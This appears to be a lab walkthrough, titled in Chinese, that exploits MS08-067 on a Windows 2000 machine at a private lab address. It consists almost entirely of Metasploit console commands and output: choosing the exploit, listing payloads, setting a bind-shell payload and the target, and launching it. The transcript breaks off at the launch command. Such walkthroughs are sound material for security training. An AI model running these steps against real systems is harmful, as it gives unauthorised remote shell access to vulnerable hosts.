使用MSF来攻击windows 2000

攻击方：Kali2.0

受害者：Windows 2000

受害者IP：192.168.121.130

msf > search netapi

Matching Modules

================

Name Disclosure Date Rank Description

---- --------------- ---- -----------

exploit/windows/smb/ms03\_049\_netapi 2003-11-11 good MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow

exploit/windows/smb/ms06\_040\_netapi 2006-08-08 good MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow

exploit/windows/smb/ms06\_070\_wkssvc 2006-11-14 manual MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow

exploit/windows/smb/ms08\_067\_netapi 2008-10-28 great MS08-067 Microsoft Server Service Relative Path Stack Corruption

msf > use exploit/windows/smb/ms08\_067\_netapi

msf exploit(ms08\_067\_netapi) > show payloads

Compatible Payloads

===================

Name Disclosure Date Rank Description

---- --------------- ---- -----------

generic/custom normal Custom Payload

generic/debug\_trap normal Generic x86 Debug Trap

generic/shell\_bind\_tcp normal Generic Command Shell, Bind TCP Inline

generic/shell\_reverse\_tcp normal Generic Command Shell, Reverse TCP Inline

generic/tight\_loop normal Generic x86 Tight Loop

windows/dllinject/bind\_hidden\_ipknock\_tcp normal Reflective DLL Injection, Hidden Bind Ipknock TCP Stager

windows/dllinject/bind\_hidden\_tcp normal Reflective DLL Injection, Hidden Bind TCP Stager

windows/dllinject/bind\_ipv6\_tcp normal Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)

windows/dllinject/bind\_ipv6\_tcp\_uuid normal Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)

windows/dllinject/bind\_nonx\_tcp normal Reflective DLL Injection, Bind TCP Stager (No NX or Win7)

windows/dllinject/bind\_tcp normal Reflective DLL Injection, Bind TCP Stager (Windows x86)

windows/dllinject/bind\_tcp\_rc4 normal Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption)

windows/dllinject/bind\_tcp\_uuid normal Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)

windows/dllinject/reverse\_hop\_http normal Reflective DLL Injection, Reverse Hop HTTP Stager

windows/dllinject/reverse\_http normal Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)

windows/dllinject/reverse\_ipv6\_tcp normal Reflective DLL Injection, Reverse TCP Stager (IPv6)

windows/dllinject/reverse\_nonx\_tcp normal Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)

windows/dllinject/reverse\_ord\_tcp normal Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)

windows/dllinject/reverse\_tcp normal Reflective DLL Injection, Reverse TCP Stager

windows/dllinject/reverse\_tcp\_allports normal Reflective DLL Injection, Reverse All-Port TCP Stager

windows/dllinject/reverse\_tcp\_dns normal Reflective DLL Injection, Reverse TCP Stager (DNS)

windows/dllinject/reverse\_tcp\_rc4 normal Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption)

windows/dllinject/reverse\_tcp\_uuid normal Reflective DLL Injection, Reverse TCP Stager with UUID Support

windows/dllinject/reverse\_winhttp normal Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)

windows/dns\_txt\_query\_exec normal DNS TXT Record Payload Download and Execution

windows/exec normal Windows Execute Command

windows/format\_all\_drives manual Windows Drive Formatter

windows/loadlibrary normal Windows LoadLibrary Path

windows/messagebox normal Windows MessageBox

windows/meterpreter/bind\_hidden\_ipknock\_tcp normal Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager

windows/meterpreter/bind\_hidden\_tcp normal Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager

windows/meterpreter/bind\_ipv6\_tcp normal Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)

windows/meterpreter/bind\_ipv6\_tcp\_uuid normal Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)

windows/meterpreter/bind\_nonx\_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)

windows/meterpreter/bind\_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)

windows/meterpreter/bind\_tcp\_rc4 normal Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption)

windows/meterpreter/bind\_tcp\_uuid normal Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)

windows/meterpreter/reverse\_hop\_http normal Windows Meterpreter (Reflective Injection), Reverse Hop HTTP Stager

windows/meterpreter/reverse\_http normal Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)

windows/meterpreter/reverse\_https normal Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)

windows/meterpreter/reverse\_https\_proxy normal Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy

windows/meterpreter/reverse\_ipv6\_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)

windows/meterpreter/reverse\_nonx\_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)

windows/meterpreter/reverse\_ord\_tcp normal Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)

windows/meterpreter/reverse\_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager

windows/meterpreter/reverse\_tcp\_allports normal Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager

windows/meterpreter/reverse\_tcp\_dns normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)

windows/meterpreter/reverse\_tcp\_rc4 normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption)

windows/meterpreter/reverse\_tcp\_uuid normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support

windows/meterpreter/reverse\_winhttp normal Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)

windows/meterpreter/reverse\_winhttps normal Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)

windows/metsvc\_bind\_tcp normal Windows Meterpreter Service, Bind TCP

windows/metsvc\_reverse\_tcp normal Windows Meterpreter Service, Reverse TCP Inline

windows/patchupdllinject/bind\_hidden\_ipknock\_tcp normal Windows Inject DLL, Hidden Bind Ipknock TCP Stager

windows/patchupdllinject/bind\_hidden\_tcp normal Windows Inject DLL, Hidden Bind TCP Stager

windows/patchupdllinject/bind\_ipv6\_tcp normal Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)

windows/patchupdllinject/bind\_ipv6\_tcp\_uuid normal Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)

windows/patchupdllinject/bind\_nonx\_tcp normal Windows Inject DLL, Bind TCP Stager (No NX or Win7)

windows/patchupdllinject/bind\_tcp normal Windows Inject DLL, Bind TCP Stager (Windows x86)

windows/patchupdllinject/bind\_tcp\_rc4 normal Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption)

windows/patchupdllinject/bind\_tcp\_uuid normal Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)

windows/patchupdllinject/reverse\_ipv6\_tcp normal Windows Inject DLL, Reverse TCP Stager (IPv6)

windows/patchupdllinject/reverse\_nonx\_tcp normal Windows Inject DLL, Reverse TCP Stager (No NX or Win7)

windows/patchupdllinject/reverse\_ord\_tcp normal Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)

windows/patchupdllinject/reverse\_tcp normal Windows Inject DLL, Reverse TCP Stager

windows/patchupdllinject/reverse\_tcp\_allports normal Windows Inject DLL, Reverse All-Port TCP Stager

windows/patchupdllinject/reverse\_tcp\_dns normal Windows Inject DLL, Reverse TCP Stager (DNS)

windows/patchupdllinject/reverse\_tcp\_rc4 normal Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption)

windows/patchupdllinject/reverse\_tcp\_uuid normal Windows Inject DLL, Reverse TCP Stager with UUID Support

windows/patchupmeterpreter/bind\_hidden\_ipknock\_tcp normal Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager

windows/patchupmeterpreter/bind\_hidden\_tcp normal Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager

windows/patchupmeterpreter/bind\_ipv6\_tcp normal Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)

windows/patchupmeterpreter/bind\_ipv6\_tcp\_uuid normal Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)

windows/patchupmeterpreter/bind\_nonx\_tcp normal Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)

windows/patchupmeterpreter/bind\_tcp normal Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)

windows/patchupmeterpreter/bind\_tcp\_rc4 normal Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption)

windows/patchupmeterpreter/bind\_tcp\_uuid normal Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)

windows/patchupmeterpreter/reverse\_ipv6\_tcp normal Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)

windows/patchupmeterpreter/reverse\_nonx\_tcp normal Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)

windows/patchupmeterpreter/reverse\_ord\_tcp normal Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)

windows/patchupmeterpreter/reverse\_tcp normal Windows Meterpreter (skape/jt Injection), Reverse TCP Stager

windows/patchupmeterpreter/reverse\_tcp\_allports normal Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager

windows/patchupmeterpreter/reverse\_tcp\_dns normal Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)

windows/patchupmeterpreter/reverse\_tcp\_rc4 normal Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption)

windows/patchupmeterpreter/reverse\_tcp\_uuid normal Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support

windows/shell/bind\_hidden\_ipknock\_tcp normal Windows Command Shell, Hidden Bind Ipknock TCP Stager

windows/shell/bind\_hidden\_tcp normal Windows Command Shell, Hidden Bind TCP Stager

windows/shell/bind\_ipv6\_tcp normal Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)

windows/shell/bind\_ipv6\_tcp\_uuid normal Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)

windows/shell/bind\_nonx\_tcp normal Windows Command Shell, Bind TCP Stager (No NX or Win7)

windows/shell/bind\_tcp normal Windows Command Shell, Bind TCP Stager (Windows x86)

windows/shell/bind\_tcp\_rc4 normal Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption)

windows/shell/bind\_tcp\_uuid normal Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)

windows/shell/reverse\_ipv6\_tcp normal Windows Command Shell, Reverse TCP Stager (IPv6)

windows/shell/reverse\_nonx\_tcp normal Windows Command Shell, Reverse TCP Stager (No NX or Win7)

windows/shell/reverse\_ord\_tcp normal Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)

windows/shell/reverse\_tcp normal Windows Command Shell, Reverse TCP Stager

windows/shell/reverse\_tcp\_allports normal Windows Command Shell, Reverse All-Port TCP Stager

windows/shell/reverse\_tcp\_dns normal Windows Command Shell, Reverse TCP Stager (DNS)

windows/shell/reverse\_tcp\_rc4 normal Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption)

windows/shell/reverse\_tcp\_uuid normal Windows Command Shell, Reverse TCP Stager with UUID Support

windows/shell\_bind\_tcp normal Windows Command Shell, Bind TCP Inline

windows/shell\_hidden\_bind\_tcp normal Windows Command Shell, Hidden Bind TCP Inline

windows/shell\_reverse\_tcp normal Windows Command Shell, Reverse TCP Inline

windows/speak\_pwned normal Windows Speech API - Say "You Got Pwned!"

windows/upexec/bind\_hidden\_ipknock\_tcp normal Windows Upload/Execute, Hidden Bind Ipknock TCP Stager

windows/upexec/bind\_hidden\_tcp normal Windows Upload/Execute, Hidden Bind TCP Stager

windows/upexec/bind\_ipv6\_tcp normal Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)

windows/upexec/bind\_ipv6\_tcp\_uuid normal Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)

windows/upexec/bind\_nonx\_tcp normal Windows Upload/Execute, Bind TCP Stager (No NX or Win7)

windows/upexec/bind\_tcp normal Windows Upload/Execute, Bind TCP Stager (Windows x86)

windows/upexec/bind\_tcp\_rc4 normal Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption)

windows/upexec/bind\_tcp\_uuid normal Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)

windows/upexec/reverse\_ipv6\_tcp normal Windows Upload/Execute, Reverse TCP Stager (IPv6)

windows/upexec/reverse\_nonx\_tcp normal Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)

windows/upexec/reverse\_ord\_tcp normal Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)

windows/upexec/reverse\_tcp normal Windows Upload/Execute, Reverse TCP Stager

windows/upexec/reverse\_tcp\_allports normal Windows Upload/Execute, Reverse All-Port TCP Stager

windows/upexec/reverse\_tcp\_dns normal Windows Upload/Execute, Reverse TCP Stager (DNS)

windows/upexec/reverse\_tcp\_rc4 normal Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption)

windows/upexec/reverse\_tcp\_uuid normal Windows Upload/Execute, Reverse TCP Stager with UUID Support

windows/vncinject/bind\_hidden\_ipknock\_tcp normal VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager

windows/vncinject/bind\_hidden\_tcp normal VNC Server (Reflective Injection), Hidden Bind TCP Stager

windows/vncinject/bind\_ipv6\_tcp normal VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)

windows/vncinject/bind\_ipv6\_tcp\_uuid normal VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)

windows/vncinject/bind\_nonx\_tcp normal VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)

windows/vncinject/bind\_tcp normal VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)

windows/vncinject/bind\_tcp\_rc4 normal VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption)

windows/vncinject/bind\_tcp\_uuid normal VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)

windows/vncinject/reverse\_hop\_http normal VNC Server (Reflective Injection), Reverse Hop HTTP Stager

windows/vncinject/reverse\_http normal VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)

windows/vncinject/reverse\_ipv6\_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)

windows/vncinject/reverse\_nonx\_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)

windows/vncinject/reverse\_ord\_tcp normal VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)

windows/vncinject/reverse\_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager

windows/vncinject/reverse\_tcp\_allports normal VNC Server (Reflective Injection), Reverse All-Port TCP Stager

windows/vncinject/reverse\_tcp\_dns normal VNC Server (Reflective Injection), Reverse TCP Stager (DNS)

windows/vncinject/reverse\_tcp\_rc4 normal VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption)

windows/vncinject/reverse\_tcp\_uuid normal VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support

windows/vncinject/reverse\_winhttp normal VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)

msf exploit(ms08\_067\_netapi) > set payload windows/shell/bind\_tcp

payload => windows/shell/bind\_tcp

msf exploit(ms08\_067\_netapi) > set RHOST 192.168.121.130

RHOST => 192.168.121.130

msf exploit(ms08\_067\_netapi) > show options

Module options (exploit/windows/smb/ms08\_067\_netapi):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST 192.168.121.130 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shell/bind\_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC thread yes Exit technique (Accepted: , , seh, thread, process, none)

LPORT 4444 yes The listen port

RHOST 192.168.121.130 no The target address

msf exploit(ms08\_067\_netapi) > exploit